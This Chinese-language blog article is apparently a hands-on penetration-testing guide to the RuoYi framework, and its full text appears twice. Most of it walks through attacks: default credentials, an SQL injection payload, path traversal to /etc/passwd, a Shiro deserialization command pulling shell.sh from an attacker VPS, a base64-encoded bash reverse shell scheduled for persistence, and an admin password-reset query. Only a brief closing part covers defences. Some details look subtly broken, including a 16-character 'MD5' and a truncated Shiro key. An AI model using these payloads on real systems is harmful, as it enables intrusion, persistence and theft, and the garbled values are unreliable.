1. 若依框架渗透测试实战入门第一次接触若依框架是在去年的一次授权测试中。当时客户系统突然从登录页面跳出一个熟悉的蓝色界面右下角还有Powered by RuoYi的小字我心里顿时有了底——这种快速开发框架往往藏着不少历史包袱。若依RuoYi作为国内流行的快速开发平台基于Spring Boot和Vue.js构建确实给开发者带来了便利。但就像很多开源项目一样在快速迭代过程中容易积累安全隐患。我遇到过的若依系统十个里有八个都存在至少一个可被利用的历史漏洞。识别若依系统有这几个特征登录页面通常有动态验证码早期版本可能是简单数学运算默认favicon.ico是蓝色渐变风格前端JS文件中常出现ruoyi关键字接口路径包含/system、/monitor等模块化设计提示使用网络空间测绘工具时可以尝试搜索title若依或bodyruoyi比直接搜索管理系统更精准。2. 信息收集的艺术2.1 资产发现与指纹识别去年测试某企业OA系统时我先用ZoomEye搜索app若依返回结果中有一个不起眼的二级域名。这个域名没有备案信息但端口开放了8080服务。访问后发现是若依3.7.0版本——这个版本存在多个已知漏洞。高效的指纹识别方法检查/favicon.ico的MD5值若依4.x版本为4a5b3d3e8b8c9d0e查看/css/ruoyi.css样式文件访问/login页面查看特征元素用Burp抓包观察X-Requested-With: XMLHttpRequest头# 快速验证若依框架的curl命令 curl -s http://target/system/role/list | grep -q ruoyi echo 疑似若依系统2.2 弱口令与默认凭证遇到过最离谱的情况是某政府网站使用若依框架不仅没改默认密码还把admin/admin123写在了登录页的注释里。虽然这种低级错误现在少见但以下组合仍值得尝试admin/ruoyi123ry/Admin123system/system测试账号/test1233. 常见漏洞利用详解3.1 SQL注入实战在若依4.5.1版本中/system/role/list接口存在典型的报错注入。有次测试时我用这个漏洞直接拿到了数据库权限POST /system/role/list HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded params[dataScope]and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e))注入点特征参数通常为params[xxx]形式使用extractvalue或updatexml函数触发报错响应中包含SQL语法错误信息3.2 任意文件读取漏洞某次渗透中通过/common/download/resource接口读取到了服务器配置/common/download/resource?resource/profile/../../../../etc/passwd这个漏洞的利用条件需要已登录状态携带有效Cookie目标系统使用Linux/Windows路径穿越符号未被过滤3.3 Shiro反序列化攻击若依默认集成Shiro框架遇到一个教育机构的系统时我用默认密钥kPHbIxk5D2deZiIxcaaaA成功实现了RCEjava -jar ysoserial.jar CommonsBeanutils1 curl http://myvps/shell.sh payload.ser检测步骤访问任意页面查看rememberMeCookie使用ShiroScan工具检测密钥生成序列化payload进行利用4. 权限提升与持久化4.1 后台计划任务RCE在若依4.6.1版本中后台的计划任务功能简直就是官方后门。有次拿到管理员权限后我通过以下步骤实现了持久化访问创建新任务调用java.lang.Runtime.getRuntime().exec()执行命令bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}设置cron表达式0/5 * * * * ?每5秒执行一次// 典型漏洞代码示例 String invokeTarget request.getParameter(invokeTarget); Class.forName(invokeTarget.split(.)[0]).getMethod(invokeTarget.split(.)[1]).invoke(null);4.2 数据库接管技巧通过SQL注入获取数据库权限后可以尝试这些操作修改sys_user表密码字段早期版本是明文存储在sys_config表中插入恶意配置导出整个数据库备份文件密码重置POCUPDATE sys_user SET password5e5c3bad7eb9c59477a3018e0727ddf6 WHERE user_id1 -- 密码明文admin1235. 防御建议与修复方案去年给某企业做安全加固时我们针对若依框架实施了这些措施输入过滤在Filter层添加全局XSS防护对params[]参数进行严格类型检查权限控制禁用Shiro的rememberMe功能实现接口级权限校验安全更新!-- pom.xml安全依赖示例 -- dependency groupIdorg.owasp.esapi/groupId artifactIdesapi/artifactId version2.5.0.0/version /dependency实际测试中发现即使打了最新补丁开发者自定义的接口仍可能存在安全问题。建议在WAF中特别配置这些规则拦截包含extractvalue、updatexml的请求监控/common/download路径的目录穿越尝试限制计划任务接口的调用目标格式
若依框架安全攻防:从信息收集到漏洞利用的实战剖析
发布时间:2026/6/27 6:10:58
1. 若依框架渗透测试实战入门第一次接触若依框架是在去年的一次授权测试中。当时客户系统突然从登录页面跳出一个熟悉的蓝色界面右下角还有Powered by RuoYi的小字我心里顿时有了底——这种快速开发框架往往藏着不少历史包袱。若依RuoYi作为国内流行的快速开发平台基于Spring Boot和Vue.js构建确实给开发者带来了便利。但就像很多开源项目一样在快速迭代过程中容易积累安全隐患。我遇到过的若依系统十个里有八个都存在至少一个可被利用的历史漏洞。识别若依系统有这几个特征登录页面通常有动态验证码早期版本可能是简单数学运算默认favicon.ico是蓝色渐变风格前端JS文件中常出现ruoyi关键字接口路径包含/system、/monitor等模块化设计提示使用网络空间测绘工具时可以尝试搜索title若依或bodyruoyi比直接搜索管理系统更精准。2. 信息收集的艺术2.1 资产发现与指纹识别去年测试某企业OA系统时我先用ZoomEye搜索app若依返回结果中有一个不起眼的二级域名。这个域名没有备案信息但端口开放了8080服务。访问后发现是若依3.7.0版本——这个版本存在多个已知漏洞。高效的指纹识别方法检查/favicon.ico的MD5值若依4.x版本为4a5b3d3e8b8c9d0e查看/css/ruoyi.css样式文件访问/login页面查看特征元素用Burp抓包观察X-Requested-With: XMLHttpRequest头# 快速验证若依框架的curl命令 curl -s http://target/system/role/list | grep -q ruoyi echo 疑似若依系统2.2 弱口令与默认凭证遇到过最离谱的情况是某政府网站使用若依框架不仅没改默认密码还把admin/admin123写在了登录页的注释里。虽然这种低级错误现在少见但以下组合仍值得尝试admin/ruoyi123ry/Admin123system/system测试账号/test1233. 常见漏洞利用详解3.1 SQL注入实战在若依4.5.1版本中/system/role/list接口存在典型的报错注入。有次测试时我用这个漏洞直接拿到了数据库权限POST /system/role/list HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded params[dataScope]and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e))注入点特征参数通常为params[xxx]形式使用extractvalue或updatexml函数触发报错响应中包含SQL语法错误信息3.2 任意文件读取漏洞某次渗透中通过/common/download/resource接口读取到了服务器配置/common/download/resource?resource/profile/../../../../etc/passwd这个漏洞的利用条件需要已登录状态携带有效Cookie目标系统使用Linux/Windows路径穿越符号未被过滤3.3 Shiro反序列化攻击若依默认集成Shiro框架遇到一个教育机构的系统时我用默认密钥kPHbIxk5D2deZiIxcaaaA成功实现了RCEjava -jar ysoserial.jar CommonsBeanutils1 curl http://myvps/shell.sh payload.ser检测步骤访问任意页面查看rememberMeCookie使用ShiroScan工具检测密钥生成序列化payload进行利用4. 权限提升与持久化4.1 后台计划任务RCE在若依4.6.1版本中后台的计划任务功能简直就是官方后门。有次拿到管理员权限后我通过以下步骤实现了持久化访问创建新任务调用java.lang.Runtime.getRuntime().exec()执行命令bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}设置cron表达式0/5 * * * * ?每5秒执行一次// 典型漏洞代码示例 String invokeTarget request.getParameter(invokeTarget); Class.forName(invokeTarget.split(.)[0]).getMethod(invokeTarget.split(.)[1]).invoke(null);4.2 数据库接管技巧通过SQL注入获取数据库权限后可以尝试这些操作修改sys_user表密码字段早期版本是明文存储在sys_config表中插入恶意配置导出整个数据库备份文件密码重置POCUPDATE sys_user SET password5e5c3bad7eb9c59477a3018e0727ddf6 WHERE user_id1 -- 密码明文admin1235. 防御建议与修复方案去年给某企业做安全加固时我们针对若依框架实施了这些措施输入过滤在Filter层添加全局XSS防护对params[]参数进行严格类型检查权限控制禁用Shiro的rememberMe功能实现接口级权限校验安全更新!-- pom.xml安全依赖示例 -- dependency groupIdorg.owasp.esapi/groupId artifactIdesapi/artifactId version2.5.0.0/version /dependency实际测试中发现即使打了最新补丁开发者自定义的接口仍可能存在安全问题。建议在WAF中特别配置这些规则拦截包含extractvalue、updatexml的请求监控/common/download路径的目录穿越尝试限制计划任务接口的调用目标格式